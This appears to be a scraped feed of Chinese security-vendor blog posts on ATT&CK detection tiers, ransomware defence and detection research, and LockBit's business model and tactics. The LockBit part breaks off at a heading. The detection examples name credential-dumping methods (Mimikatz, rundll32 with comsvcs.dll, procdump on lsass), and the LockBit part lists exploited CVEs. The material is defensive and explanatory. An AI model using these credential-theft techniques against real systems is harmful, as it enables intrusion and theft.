
（1）StP 5 (年级别): 能检测大多数子技术攻击

（2）StP 4 (月级别): 能检测部分攻击程序

（3）StP 3 (周级别): 能检测一些内部工具滥用

（4）StP 2 (天级别): 能检测常见恶意软件和黑客工具

（5）StP 1 (分钟级别): 容易被绕过的检测规则

图13 攻击者绕过时间示意图

2.整体评估：

（1）平均StP评分：1.63/5分

（2）大多数规则(849个)属于最低级别(StP 1&0)

（3）高质量的规则(StP 5)数量最少，仅8个

这个数据说明当前的检测规则质量普遍较低，大部分规则容易被绕过，而高质量、持久有效的检测规则较少。这表明需要改进检测规则的质量，提升整体防御能力。

图14 检测规则示意图

针对T1003.001（OS凭证转储 - LSASS内存）攻击技术的分层检测规则示例，从StP1到StP5每个层级的具体检测特征：

1.StP5（最高层）- 核心程序级别：

（1）检测针对LSASS的内核函数调用（NtOpenPrecess或ZwOpenProcess）

（2）这层检测最难绕过，因为它监控底层系统调用

2.StP4 - 部分核心程序：

（1）检测CreateToolhelp32Snapshot API调用

（2）监控从特定注册表路径向LSASS加载DLL的行为

（3）关注特定的API和系统交互

3.StP3 - 预置工具：

（1）检测Rundll32.exe执行comsvcs.dll的行为

（2）监控特定的Sysmon事件（EventID 10，权限值0x1010）

（3）关注系统工具的使用方式

4.StP2 - 攻击者工具：

（1）检测特定进程链（父进程windbg.exe/procdump.exe，子进程lsass.exe）

（2）检测Mimikatz工具的特征命令行

（3）关注已知攻击工具的特征

5.StP1（最低层）- 临时特征：

（1）检测特定文件名（mimikatz.exe）

（2）检测特定MD5哈希值

（3）这些特征最容易被攻击者更改

图15 T1003.001的攻击技术在攀登金字塔的示例

ATT&CK在科技领域的应用

人工智能领域：MITRE 人工智能系统对抗威胁格局 (ATLAS)是攻击者的全球可访问的活知识库，基于现实世界攻击的战术和技术，人工观察和真实演示，情报 (AI) 红队和安全小组。人工智能系统中存在越来越多的漏洞，人工智能的结合增加了现有系统的攻击面，超越传统的网络攻击。ATLAS 可以提高对这些独特威胁的认识和准备，更广泛的人工智能保障领域的漏洞和风险。

图16 ATLAS矩阵

航空航天领域：美国航空航天公司创建了太空攻击研究和战术分析 (SPARTA) 矩阵，以解决阻碍空间系统战术、技术和程序 (TTP) 识别和共享的信息和通信障碍。SPARTA 旨在向太空专业人士提供有关航天器如何通过网络和传统反太空手段受到损害的非机密信息。该矩阵对导致航天器受损的常见活动进行了定义和分类。

图17 SPARTA矩阵

汽车领域：以其在汽车网络安全信息共享方面的领先地位而闻名的汽车信息共享和分析中心 (Auto-ISAC) 推出了汽车威胁矩阵 (ATM)。这一创新举措标志着在加强汽车威胁和风险评估以及整个汽车行业网络威胁情报的分类和共享方面取得了重大飞跃。

图18 ATM矩阵

无人机领域：目前有一篇密西西比州立大学发表的论文，说明MITRE ATT&CK框架在无人机(UAV)监视和侦察(S&R)任务中的应用和适配。主要威胁类型分析：

信号干扰(Signal Jamming)
GPS欺骗(GPS Spoofing)
黑客攻击和未授权访问
数据拦截和窃听
恶意软件攻击
拒绝服务攻击(DoS)
网络物理攻击

总结

ATT&CK检测工程是个单独的门类最近几年被反复提及，同时紫队测试在CISA的实践也值得学习，同时还有Linux的勒索软件可能也是一种新的攻击思路。

ATT&CK覆盖率“祛魅”的最有说服力的论文就是今年顶会发的这篇文章，覆盖率本身就是一个表面的内容，不要迷信100%的覆盖率，就跟考试100分的学生能力不一定很强。

MITRE威胁通告防御中心将ATT&CK进行了更加深度的研究，包括预测和对痛苦金字塔的最新事件都有很好的防御思路。

ATT&CK最近一年在不同科技领域继续渗透，AI中的ATLAS框架，航空航天的SPARTA框架，汽车领域的ATM框架，都是ATT&CK方法论的延伸，这些框架也有助于安全研究人员体系化的理解新的科技领域面临的安全挑战。

参考资料

1.https://attack.mitre.org/

2.https://mitre-attack.github.io/attack-navigator/

3.https://attack.mitre.org/resources/attackcon/october-2024/

4.https://redcanary.com/threat-detection-report/trends/by-industry/

5.Apurva Virkud, Muhammad Adil Inam, Andy Riddle, Jason Liu, Gang Wang, and Adam Bates,”How does Endpoint Detection use the MITRE ATT&CK Framework?”, USENIX Security 24

6.https://center-for-threat-informed-defense.github.io/technique-inference-engine/#/

7.https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/

8.https://ctid.mitre.org/projects/secure-ai/

9.https://atlas.mitre.org/

10.https://sparta.aerospace.org/

11.https://atm.automotiveisac.com/

12.Greer, Jeffrey IV, "MITRE Attack framework adaptation in UAV usage during surveillance and reconnaissance missions" (2024). Theses and Dissertations. 6208.

阅读原文

跳转微信打开

数据安全新报告，落实央行等七部门发布的新政策

Tue, 07 Jan 2025 18:00:00 +0800

让云更安全 2025-01-07 18:00 北京

为深入贯彻党的二十届三中全会和中央金融工作会议精神，做好数字金融大文章，11月份，中国人民银行、国家发展改革委、工业和信息化部、金融监管总局、中国证监会、国家数据局、国家外汇局等七部门联合印发《推动数字金融高质量发展行动方案》（以下简称《行动方案》）。

《行动方案》在完善数字金融治理体系章节中，详细阐述了加强数据和网络安全防护的相关内容：“（十七）加强数据和网络安全防护。指导金融机构严格落实数据保护法律法规和标准规范，完善数据安全管理体系，强化数据安全的商用密码保护，建立健全全流程数据安全管理机制。组织金融机构定期进行数据和网络安全风险评估，识别潜在风险，接入金融行业相关网络安全态势感知平台，推动相关平台互联互通。开展网络安全相关压力测试，提升网络安全防护体系建设水平。搭建证券业数据和网络安全公共服务平台，加强基础、共性安全支撑。”

在七部门联合印发《行动方案》的背景下，青藤推出最新的《业务应用与数据安全防护指南》报告，深入分析数据安全面临的风险困境，探讨数据安全的具体方案能力和实践成功案例，为企业的数据安全建设提供策略和思路参考。

报告部分内容如下：

扫描二维码，下载完整版报告

-完-

热门动态推荐

阅读原文

跳转微信打开

抓不完，根本抓不完的0day，青藤RASP已经接连抓了3个0day

Mon, 19 Aug 2024 18:02:00 +0800

原创网安人的智囊团 2024-08-19 18:02 北京

HVV抓0day神器！

阅读原文

跳转微信打开

勒索软件的防御手段和检测技术

Mon, 29 Jul 2024 18:00:00 +0800

程度 2024-07-29 18:00 北京

青藤，让云更安全

前言

基于上篇文章分析LockBit的勒索软件攻击技术，本篇文章研究勒索软件的防御手段和检测技术。一般用户只需要了解防御手段，检测技术原理简单了解即可。针对勒索软件的ATT&CK的攻击阶段技术对应的防御手段，根据自身情况可以进行查漏补缺。同时这篇文章基本涵盖了主流勒索软件的检测技术思路，可以作为目前最为流行的威胁的参考内容。

勒索软件的防御手段

根据勒索软件的ATT&CK的各个攻击阶段，分析相对应的方式进行防御。

图1 勒索软件的ATT&CK的各个攻击阶段

（1）初始访问阶段

使用隔离的浏览器或者带沙箱的访问环境，这样可以避免一些恶意的钓鱼邮件或者恶意代码。
使用邮件安全网关，可以过滤恶意的钓鱼邮件或者阻止一些恶意IP，尤其是针对外部邮件设置特殊警告，同时针对钓鱼开展安全意识培训。
使用WAF，防御应用层安全问题。
设置账号口令以及口令策略，比如长度，复杂度，定期更改，尝试次数等；对账号权限进行最小权限原则；并对管理员权限账号进行审计；使用账号多因素认证（MFA）；限制服务账号和管理员账号对互联网服务的访问；即时对账号权限进行分配，防止权限攀升或保留的情况。
保证操作系统、软件及固件更新到最新。尤其是针对一些高危可利用的漏洞要进行修复和升级。
对域控进行安全加固和安全监控。
禁用不适用的互联网业务。
做好网络隔离，配置良好的ACL规则。

（2）执行阶段

构建内部网络拓扑的架构，可以描绘内部的服务和数据的流向。
开启Powershell的日志记录以及脚本执行记录。
配置Windows注册表，对于PsExec操作开启UAC机制。

（3）提权

禁用命令行和脚本执行行为和权限，通常命令和脚本都是提权的重要通道。
开启权限保护（Credential Guard），这个机制在Windows 11默认开启，可以防止对LSA凭证转储。
使用本地管理员密码解决方案（LAPS），前提是升级到Windows Server 2019和Windows 10以上。

（4）防御规避

应用本地安全策略来控制应用执行，比如使用SRP，Applocker，WDAC等来去确定白名单和黑名单。

（5）凭证访问

限制NTLM使用，进行安全加固和防火墙策略。

（6）发现

禁用不使用的端口。

（7）横向移动

识别AD的控制路径，为了排除对重要业务资产的访问路径。
使用终端安全产品来识别东西向的访问流量，从而可以识别受到勒索软件感染的机器的横向移动行为。

（8）C2

使用多层网络架构，创建可信区域保护组织的敏感数据。
不应该使用VPN来进行可信区域的访问，要考虑零信任架构。

（9）渗出

阻断跟恶意系统的连接，恶意系统主要使用的是TLS的代理。同时利用威胁情报的订阅内容来阻断C2的服务器连接。
使用网关安全等产品来限制和监控对外提供文件服务的相关系统，防止数据外发。

（10）影响

实施恢复计划，要保存多份备份在不同的隔离的安全的物理位置。
维护离线的备份数据，建议3-2-1备份策略：保证3个备份（一份生产，二分备份），在2个媒介上存储，比如磁盘和磁带，1个保存在灾备中心。
保证所有的备份数据都是加密的。

新西兰CERT对于这些ATT&CK阶段合并为三个大阶段和相关防御手段做了图示。

图2 新西兰CERT归纳ATT&CK三个大阶段和相关防御手段

图3 上图各标记点含义

勒索软件的检测技术

基于网络的检测

针对勒索软件的流量分析主要在C2这个阶段进行的分析，比如大部分勒索软件都是使用DNS协议请求来解析C2的服务器IP地址。有针对HTTP-POSTS, MDN, and DNS三种协议统一分析的机器学习算法，包括使用随机森林、贝叶斯网络和SVM方法进行检测。有针对SMB协议进行分析检测的方法，有一种算法叫做REDFISH是通过文件读写速度进行判断是否勒索行为。也有针对邮件进行检测的方式R-killer，分为三个部分进行邮件检测：邮件本身检测，邮件附件沙箱检测以及邮件相关链接检测。有通过HTTP POST包的流量特征进行强化学习和微调进行检测。也有通过Tshark工具进行勒索软件流量采样特征提取并进行学习的算法进行检测。

如果无差别的提取流量特征，并很难提取了勒索软件最相关的有效特征，更像一种过拟合方式进行匹配，反而不利于真正的特征的抽样和匹配。针对性的协议和针对性的协议内容分析是更好的一种方式，但是针对于变种的多变性，可能在下一代变种中换一种协议和方式可能就会绕过。目前看起来勒索软件使用的网络协议中比较有特征的是HTTP、DNS和SMB等，在这个角度中挖掘可能会得到比较好的效果。总体来说基于网络协议以及流量和特征的方式，针对于新变种的勒索软件比较乏力，很难做到较好的漏报率和误报率的平衡，所以有些方案中加入了主机的相关信息作为有益的补充来进行机器学习或者分析依据来判断是否是勒索软件。

基于主机的检测

主机层面的检测主要针对系统的行为进行检测，主要检测的内容包括内存和文件操作，系统API调用，dll调用等相关内容。UNVEIL检测方法利用修改Cuckoo的沙箱达到更真实的环境来提取相关的API和文件操作，然后计算读写数据缓存的熵值来区别是否是勒索软件，主要使用I/O的相关数据进行分析。

图4 UNVEIL原理示意图

PAYBREAK设计了一种hook加密函数的机制并导出密钥来进行勒索之后的解密。这个方法主要利用了现在勒索软件的混合加密机制（非对称密码算法加密对称算法密钥，对称算法密钥加密相关文件）。在混合加密机制下，基本都是两层密钥加密，如果加密完成后只能依赖勒索攻击者的私钥才可以通过两次解密得到相关对称密钥，最终对文件进行解密。由于现在对每个文件都是一次一密的形式，只能考虑在对称加密算法对文件加密的过程中来保存每个对称密钥。为了更安全的保存密钥，这个方法也采用了一个密码保险库（Key Vault）来进行保存，对于保存的内容也是用非对称加密算法进行加密，使用append-only的形式进行写入和读取，防止被勒索软件进行加密或者篡改。最后就可以通过这个密码保险库提取对称密钥来进行每个文件的解密。这个方法的难点是在hook相关加密函数上，如果是动态链接库使用系统的加解密API是相对容易提取对称密钥，如果是静态链接的密码库hook机制就会用到IDA相关逆向工程的技术找到相关的hook点进行密钥的导出。这种方法有点后知后觉，但是至少可以不用支付赎金也能解密的一种方法。

图5 PAYBREAK原理示意图

ShieldFS设计了一个虚拟的文件系统来缓存被勒索软件加密的文件。核心原理是分析相关I/O行为，也就是文件的读写等操作来判断是否是勒索或者是正常的文件操作行为，对于正常的文件操作备份文件立即删除，如果是勒索行为的文件行为即将进程杀掉并恢复相关文件。这种方法保留了一个时间差，可以在勒索软件正常进行勒索行为的过程中发现恶意的文件操作行为制止并对之前的文件操作进行恢复，这样既可以对准确发现勒索行为，又可以恢复被加密的文件。

图6 ShieldFS原理示意图

Redemption使用了驱动层和用户层的配合来判断勒索软件的行为，驱动层处理相关文件的写操作，用户层进行阈值（MSC）的判断返回相关结果给驱动层，最终决定对文件的相关操作，可以达到勒索软件对数据或者文件的零损伤。如果是正常的文件操作，就会把保护的文件数据删除并提交对原始文件的操作；如果是勒索软件操作，就会把阻止操作并提示报警进行确定之后把文件恢复。

图7 Redemption原理示意图

基于主机的检测主要是针对系统行为的检测，主要是针对I/O行为的分析辅助一些其他的API数据等，重点是利用的文件系统的一些机制比如利用内核进行hook。这种模式从效果来看应该是最好的一种方式，勒索软件最重要的一些行为都会体现，但是就是相对来说有一些对工作负载的一些成本和可能的一些不稳定因素。对于加密函数hook机制和密钥导出的方式算是一种除了备份之外的一种逃生机制，也是一种tricky的方式来应对勒索软件。

基于文件的检测

基于文件的检测分为两个方向的思路：第一是针对勒索软件的静态分析，第二是针对勒索软件对系统相关文件的特定行为监控。

静态文件分析

静态文件分析主要针对于勒索软件的二进制进行分析，也分为几个层次的特征提取，比如汇编码，库和函数几个层面进行逆向分析，然后结合机器学习算法进行训练，比如N-gram、HMM、SVM等算法，但是目前得到的效果都比较一般，识别率都在90%左右。

图8 勒索软件静态分析抽取特征图

基于诱饵的检测

勒索软件系列中采用的攻击策略非常相似，都是加密或删除用户文件。例如，恶意进程暴力遍历所有文件（在不同的路径中，并且使用不同的扩展名），并尝试在很短的时间内加密和/或删除它们。然而，黑客可以尝试通过模仿正常用户行为发起攻击来逃避检测。例如，黑客可能会避免暴力加密所有文件，首先加密具有最近访问或修改时间的文件。像这样监控行为的方法可能无法检测到勒索行为。然而，检测这些攻击的一种技术可能是磁盘上多个位置的安装诱饵文件并持续监控。

系统文件的诱饵，可以分为仿真诱饵和隐式诱饵。仿真诱饵尽量的伪造真实的有诱惑力的敏感信息诱饵，比如客户数据文档等。仿真诱饵可以采用黑客技术进行反控制，比如反连上线诱饵，钓鱼诱饵，登录诱饵等，这种仿真诱饵在攻击者拿到之后，使用过程中进行反控或者获取攻击者信息等。隐式诱饵是通过构建一些系统隐藏属性的文件来监测，用来发现程序自动扫描出发的一些行为来判断是否是勒索软件扫描遍历文件和目录的行为。

针对文件服务，上传诱饵文件发送至各个 FHS（File Hosting Services），并创建相关链接。由于文件的链接尚未与任何人共享，任何文件访问均被记录监视器是恶意用户造成的。能够下载并打开诱饵文件，则会触发隐藏的回连功能。

文件完整性的检测

文件完整性检测更多是事后的一种检测方式。比如文件的属性变化，内容变化等情况就会进行异常报警。通过监控文件系统在一定时间内的重命名、写入或删除等海量文件操作，可以实时捕获正在发生的勒索软件攻击，甚至可能自动阻止它。有些文件完整性解决方案具有实时修复功能，因此可以通过自动威胁响应立即阻止检测到的勒索软件，这个方案就是具备实时监控和备份的机制。也可以对备份服务及备份文件重点监控也是一种思路。

基于硬件的检测

基于硬件数据检测主要分为CPU类型、GPU类型和硬盘类型三种形式。

CPU类型检测

英特尔TDT（Threat Detection Technology） AI 软件可以在恶意软件尝试在 CPU 微架构上执行时对其进行分析。这种高保真硬件警报被转发到安全软件，以便在电脑上进行快速修复并在整个机群中进行主动保护。该解决方案将加速内存扫描和AI 等计算密集型安全工作负载从 CPU 分流至英特尔集成 GPU，以改善用户体验。微软的Defender终端安全已经集成了TDT平台数据来对勒索软件进行保护，相当于CPU集成的GPU来进行操作系统甚至之上虚拟的威胁检测，可以极大降低工作负载的性能消耗。

图9 Intel TDT平台

GPU类型检测

开发者可以利用 NVIDIA BlueField DPU（数据处理器），支持 DOCA App Shield 的 NVIDIA DOCA SDK 和 NVIDIA Morpheus 网络安全人工智能框架等先进技术来构建解决方案，以更快地检测勒索软件攻击。

BlueField DPU 提供了新的 OS-Inspector 检测应用程序，以利用 DOCA App-Shield 主机监控功能，OS-Inspector 应用程序使用 DOCA 遥测服务，使用 Kafka 事件流平台将属性流式传输到 Morpheus 推理服务器。

在 Morpheus 中的一个预训练的 AI 模型是勒索软件检测流水线，它利用 NVIDIA DOCA App-Shield 作为数据源。这为检测以前无法实时检测的勒索软件攻击带来了一个新的安全级别。

NVIDIA 合作伙伴 FinSec Innovation Lab 是 Mastercard 和 Enel X 的合资企业，在 NVIDIA GTC 2023 上展示了其对抗勒索软件攻击的解决方案。FinSec 运行了一个 POC，该 POC 使用 BlueField DPU 和 Morpheus 网络安全 AI 框架来训练模型，在不到 12 秒的时间内检测到勒索软件攻击。这种实时响应使他们能够隔离虚拟机，并在受感染的服务器上保护 80% 的数据。

图10 勒索软件检测 AI 流水线

硬盘类型检测

SSD与HDD一个显著地不同是，当逻辑上的覆写发生时，HDD会直接在物理硬件上覆写数据。而SSD通过out-of-place机制覆写。在发生覆写时，SSD把数据写到新的区块中，将旧的区块标记为无效并且通过Garbagae Collegection回收无效区块。

图11 HDD和SSD在覆写操作上的区别

基于这个机制FlashGuard方法是建立在SSD的固件层中，这样的带来的好处是FlashGuard通过硬件和操作系统隔离，因此可以抵抗来自高权限勒索软件的攻击。FlashGuard包括两个主要组成部分，Ransomware-aware Flash Translation Layer (RFTL)和数据恢复工具。

RFTL的作用是保存可能被加密勒索病毒覆写的数据，恢复工具使得受害用户可以恢复被加密的文件。其中，FTL是主流SSD的原有结构。如果一个页先被读取，然后再次被覆写，就有可能是被勒索软件污染的页。我们在FTL中添加一个结构体Read Tracker Table（RTT）。当对某个页发生读操作时，RTT中会标记该页已经被读取。当这个页被覆写时，FlashGuard会查询RTT从而确定它曾经被读取过，并且进一步将其标记为污染页。同时，FlashGuard会将这个覆写发生的时刻记录为污染时间点。当垃圾回收发生时，如果一个污染页的污染时间点比当前时刻少于一个阈值（默认值为20天）时，它会确保此污染也不会被回收。因此，20天内的可能被污染的数据都被保留在SSD中。

图12 RTFL结构简介

IBM近期也推出了相关存储产品FlashSystem可以防御勒索软件。该产品在数据写入过程中，会以块级粒度扫描所有传入数据。整个过程将涉及内联数据损坏检测软件以及云端AI方案，借此识别出可能象征网络攻击（包括勒索软件）的异常情况。依托于此类早期检测机制，管理员可以立即采取响应以缓解攻击影响。第四代FCM技术使用机器学习模型持续监控从每项输入/输出（I/O）操作中收集到的统计数据。IBM训练的这些模型能够检测出包括勒索软件行为在内的多种异常情况。IBM公司苏黎世研究团队负责协助维护勒索软件I/O签名数据库，这套数据库将帮助系统持续对齐不断变化的威胁形势。

图13 IBM推出的FlashSystem运行过程

总结

综上所述，检测技术中可以看出基于网络和文件的检测效果只能在90%左右，很难有效的提高到理想的情况。基于网络的检测最好是针对特定协议的研究可能效果更好，基于文件的检测更像逆向和病毒分析的逻辑，特征提取是难点。检测效果最好的是基于主机的检测，也是勒索软件行为的检测。但是技术壁垒较高，需要对操作系统、文件系统的各种原理熟悉，并对勒索软件的重要的文件读写特征统计并利用机器学习建模。基于硬件的检测目前只看到国外的相关芯片厂商有相关机制，国内的厂商目前还在解决“卡脖子”和性能的问题，后续需要有相关的特性才能让国内的ISV的安全厂商利用这些硬件机制，硬件机制的好处是可以极大的分担工作负载的性能和成本，可以将安全软件的性能降低一个量级。

参考资料

1.https://www.bsi.bund.de/EN/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Ransomware-Angriffe/Top-10-Massnahmen-Detektion/top-10-massnahmen-detektion_node.html

2.https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-165a

3.https://www.cert.govt.nz/it-specialists/guides/how-ransomware-happens-and-how-to-stop-it/

4.Akinyemi, Oladipupo et al. “Analysis of the LockBit 3.0 and its infiltration into Advanced's infrastructure crippling NHS services.” ArXiv abs/2308.05565 (2023): n. pag.

5.https://analyst1.com/ransomware-diaries-volume-1/

6.https://www.malwarebytes.com/blog/business/2022/10/top-5-ransomware-detection-techniques-pros-and-cons-of-each

7.Vehabovic, Aldin et al. “Ransomware Detection and Classification Strategies.” 2022 IEEE International Black Sea Conference on Communications and Networking (BlackSeaCom) (2022): 316-324.

8.Harun Oz, Ahmet Aris, Albert Levi, A. Selcuk Uluagac. “A Survey on Ransomware: Evolution, Taxonomy, and Defense Solutions”. ACM Computing Surveys, Volume 54, Issue 11s,Article No.: 238, pp 1–37, 2022.

9.E. Kirda, "UNVEIL: A large-scale, automated approach to detecting ransomware (keynote)," 2017 IEEE 24th International Conference on Software Analysis, Evolution and Reengineering (SANER), Klagenfurt, Austria, 2017, pp. 1-1.

10. Kolodenker, E., Koch, W., Stringhini, G., & Egele, M. (2017). "PayBreak: Defense Against Cryptographic Ransomware",Proceedings of the 2017 ACM on Asia Conference on Computer and Communications Security.

11.Andrea Continella, Alessandro Guagnelli, Giovanni Zingaro, Giulio De Pasquale, Alessandro Barenghi, Stefano Zanero, and Federico Maggi. 2016. ShieldFS: a self-healing, ransomware-aware filesystem. In Proceedings of the 32nd Annual Conference on Computer Security Applications (ACSAC '16). Association for Computing Machinery, New York, NY, USA, 336–347.

12.Kharraz, A., Kirda, E. (2017). Redemption: Real-Time Protection Against Ransomware at End-Hosts. In: Dacier, M., Bailey, M., Polychronakis, M., Antonakakis, M. (eds) Research in Attacks, Intrusions, and Defenses. RAID 2017. Lecture Notes in Computer Science(), vol 10453. Springer, Cham.

13.Kharraz, A., Robertson, W., Balzarotti, D., Bilge, L., Kirda, E. (2015). "Cutting the Gordian Knot: A Look Under the Hood of Ransomware Attacks". In: Almgren, M., Gulisano, V., Maggi, F. (eds) Detection of Intrusions and Malware, and Vulnerability Assessment. DIMVA 2015. Lecture Notes in Computer Science(), vol 9148. Springer, Cham.

14.K. P. Subedi, D. R. Budhathoki and D. Dasgupta, "Forensic Analysis of Ransomware Families Using Static and Dynamic Analysis," 2018 IEEE Security and Privacy Workshops (SPW), San Francisco, CA, USA, 2018, pp. 180-185.

15.Bowen, B.M., Hershkop, S., Keromytis, A.D., Stolfo, S.J. (2009). "Baiting Inside Attackers Using Decoy Documents". In: Chen, Y., Dimitriou, T.D., Zhou, J. (eds) Security and Privacy in Communication Networks. SecureComm 2009. Lecture Notes of the Institute for Computer Sciences, Social Informatics and Telecommunications Engineering, vol 19. Springer, Berlin, Heidelberg.

16.https://www.intel.cn/content/www/cn/zh/architecture-and-technology/vpro/hardware-shield/threat-detection-technology.html

17.https://www.intel.cn/content/dam/www/central-libraries/us/en/documents/2023-03/se-labs-intel-tdt-ransomware-test-report.pdf

18.https://www.eset.com/ca/about/newsroom/corporate-blog/enhancing-ransomware-protection-with-the-intel-vpro-platform-1/

19.https://developer.nvidia.com/blog/supercharge-ransomware-detection-with-ai-enhanced-cybersecurity-solutions/

20.Huang, J., Xu, J., Xing, X., Liu, P., & Qureshi, M. “FlashGuard: Leveraging Intrinsic Flash Properties to Defend Against Encryption Ransomware”. In The 24th ACM Conference on Computer and Communications Security (CCS 2017), Dallas, USA, 2017.

21.https://newsroom.ibm.com/blog-IBM-adds-AI-enhanced-data-resilience-capabilities-to-help-combat-ransomware-and-other-threats-with-enhanced-storage-solutions

-完-

阅读原文

跳转微信打开

LockBit引领勒索软件进入下个时代

Fri, 26 Jul 2024 18:02:00 +0800

程度 2024-07-26 18:02 北京

青藤，让云更安全

LockBit简介

2022年，LockBit是世界上部署最多的勒索软件变体，并在2023年继续扩大规模。自2020年1月以来，使用LockBit的联盟机构攻击了一系列不同规模的关键基础设施部门，包括金融服务、食品和农业、教育、能源、政府和应急服务、医疗保健、制造业和运输。LockBit勒索软件运营是一种勒索软件即服务（RaaS）模式，招募联盟机构使用LockBit的勒索软件工具对基础设施进行勒索软件攻击。由于行动中有大量未联网的联盟机构，LockBit勒索软件攻击在观察到的战术、技术和程序（TTP）方面差异很大。观察到的勒索软件TTP的这种差异对致力于维护网络安全和防范勒索软件威胁的组织来说是一个的挑战。

根据《Zscaler ThreatLabz 2023 Ransomware Report》中显示，根据其泄露的受害者数量，LockBit, ALPHV/BlackCat, and BlackBasta这三家是最流行的勒索软件勒索组织，其中LockBit的受害者数量也是远超其他家。

LockBit商业模式

LockBit采用的是联盟营销模式（Affiliate Model）。这种营销模式，是一种按营销效果付费的网络营销方式。商家通过联盟营销渠道产生了一定收益后，才需要向联盟营销机构及其联盟会员支付佣金。由于是无收益无支出、有收益才有支出的量化营销，因此联盟营销已被公认为最有效的低成本、零风险的网络营销模式。

LockBit联盟公司对世界各地的大大小小的组织都产生了负面影响。2022年，就数据泄露网站上声称的受害者数量而言，LockBit是最活跃的全球勒索软件集团和RaaS提供商。RaaS网络犯罪集团维护特定勒索软件变体的功能，向个人或运营商团体（通常被称为“联盟公司”）出售对该勒索软件变种的访问权限，并支持联盟公司部署其勒索软件，以换取预付款、订阅费、利润分成，或预付款、订购费和利润分成的组合。LockBit成功吸引联盟公司的一些方法包括但不限于：

⦁ 通过允许联盟公司在向核心集团收到赎金之后来确保付款；这种做法与其他RaaS集团形成了鲜明对比，后者先收取自己的费用，然后再支付联盟公司的费用；

⦁ 在线论坛中贬低其他RaaS群组；

⦁ 参与宣传活动的噱头，例如付钱给人们做LockBit纹身，并悬赏100万美元获取与LockBit主角“LockBitSupp”真实身份相关的信息；

⦁ 为其勒索软件开发和维护一个简化的点击式界面，使技术水平较低的人可以访问该界面。

LockBit这种营销模式让市场营销人员直呼内行，也宣称是全球唯一一个不经手加盟租住的RaaS联盟项目。其他勒索软件联盟项目都会要求合作伙伴先将赎金支付转入自己的钱包，然后再向合作伙伴支付其份额，一旦RaaS项目运营者卷款跑路，其“合作伙伴”将蒙受巨大损失，例如DarkSide项目。LockBit对其勒索软件攻击活动的定义是：“后付费的渗透测试服务”。

LockBit技术思路

1.采用敏捷开发方案，每一年发布一个新版本和多个变种。

LockBit更新表

时间	版本更新事件
2019年9月	首次观察到LockBit的前身ABCD勒索软件的活动。
2020年1月	LockBit命名的勒索软件首次出现在基于俄语的网络犯罪论坛上。
2021年6月	LockBit版本2（LockBit 2.0）的出现，也称为LockBit Red，包括StealBit，一种内置的信息窃取工具。
2021年10月	引入LockBit Linux ESXi Locker版本1.0，将功能扩展到Linux和VMware ESXi的目标系统。
2022年3月	LockBit 3.0的出现，也称为LockBit Black，与BlackMatter和Alphv（也称为BlackCat）勒索软件有相似之处。
2022年9月	非LockBit联盟公司在其构建程序被泄露后能够使用LockBit 3.0。
2023年1月	LockBit Green结合了来自Conti勒索软件的源代码
2023年4月	VirusTotal上出现了针对macOS的LockBit勒索软件加密程序

LockBit通过集团管理面板和RaaS支持功能的创新和持续发展取得了成功。与此同时，与LockBit和其他著名变体合作的分支机构正在不断修改用于部署和执行勒索软件的TTP。

2.会采用泄露数据的方式来加强勒索的力度。

泄露的网站只展示列出了LockBit联盟公司遭受二次勒索的部分受害者。自2021年以来，LockBit的分支机构采用了双重勒索，首先加密受害者数据，然后窃取这些数据，同时威胁要将被盗数据发布到泄露网站。由于LockBit只披露拒绝支付主要赎金解密其数据的受害者的姓名和泄露的数据，因此一些LockBit受害者可能永远不会被点名，也不会将其经过滤的数据发布在泄露网站上。因此，泄漏网站揭示了LockBit联盟公司的一部分受害者。由于这些原因，泄漏网站不是LockBit勒索软件攻击发生时间的可靠指标。泄露网站上的数据发布日期可能是LockBit联盟公司实际执行勒索软件攻击后的几个月。

3.为了增强其自身安全性，还推出了一个漏洞奖励项目。

鼓励研究人员以1000至100万美元的价格报告漏洞赏金。

此外，LockBit已经扩大了其漏洞奖励计划，不仅仅是为发现的漏洞付费，现在还创造性的为增强其勒索软件运营的方法提供奖励。他们甚至为任何能够识别LockBitSupp的人提供了100万美元的现金奖励。

4.使用了大量的免费和开源的软件作为攻击工具。

在入侵期间为了掩人耳目，LockBit 联盟公司被发现使用各种看起来合法使用的免费软件和开源工具。当 LockBit 重新调整其用途时，这些工具可用于一系列恶意网络活动，例如网络侦察、远程访问和隧道、凭证转储和文件泄露。在大多数入侵中都观察到使用 PowerShell 和批处理脚本，这些入侵主要集中在系统发现、侦察、密码/凭据搜索和权限升级。专业渗透测试工具（例如 Metasploit 和 Cobalt Strike）也已被观察到。提到的合法免费软件和开源工具都是公开可用且合法的。威胁行为者对这些工具的使用不应归因于免费软件和开源工具，因为缺乏具体的事实可表明这些工具是在威胁行为者的指导下或在威胁行为者的控制下使用的。

5.使用已知漏洞进行入侵行为。

这种行为并不是最优选的方案，主要基于0day漏洞的成本考虑，所以才会使用二手漏洞资源。联盟公司一般使用比较老旧的漏洞，也会使用较新的漏洞。比较常见的漏洞如下：

⦁ CVE-2021-44228: Apache Log4j2 Remote Code Execution Vulnerability,

⦁ CVE-2021-22986: F5 BIG-IP and BIG-IQ Centralized Management iControl REST Remote Code Execution Vulnerability,

⦁ CVE-2020-1472: NetLogon Privilege Escalation Vulnerability,

⦁ CVE-2019-0708: Microsoft Remote Desktop Services Remote Code Execution Vulnerability, and

⦁ CVE-2018-13379: Fortinet FortiOS Secure Sockets Layer (SSL) Virtual Private Network (VPN) Path Traversal Vulnerability.

6.供应链攻击引发“二次爆炸”。

当 LockBit 联盟机构针对负责管理其他组织网络的组织时，在主要目标上引爆 LockBit 变种后尝试进行二次勒索软件勒索。一旦主要目标被击中，LockBit 联盟公司就会尝试勒索主要目标客户的公司。这种勒索以二级勒索软件的形式出现，它会锁定客户使用的服务。此外，主要目标的客户可能会受到 LockBit 联盟公司的勒索，威胁要泄露这些客户的敏感信息。

7.采用非流行的ATT&CK的TTP。

我们需要对以下假设进行更多研究：一些勒索软件团体之所以更成功，是因为加盟机构拥有被忽视的能力。除了 T1003.001 OS Credential Dumping 技术之外，LockBit 加盟公司使用的前 10 名 MITRE ATT&CK 技术与大多数TOP 10 MITRE ATT&CK 技术都不同。

LockBit的TOP 10 ATT&CK的技战术如下：

LockBit死灰复燃

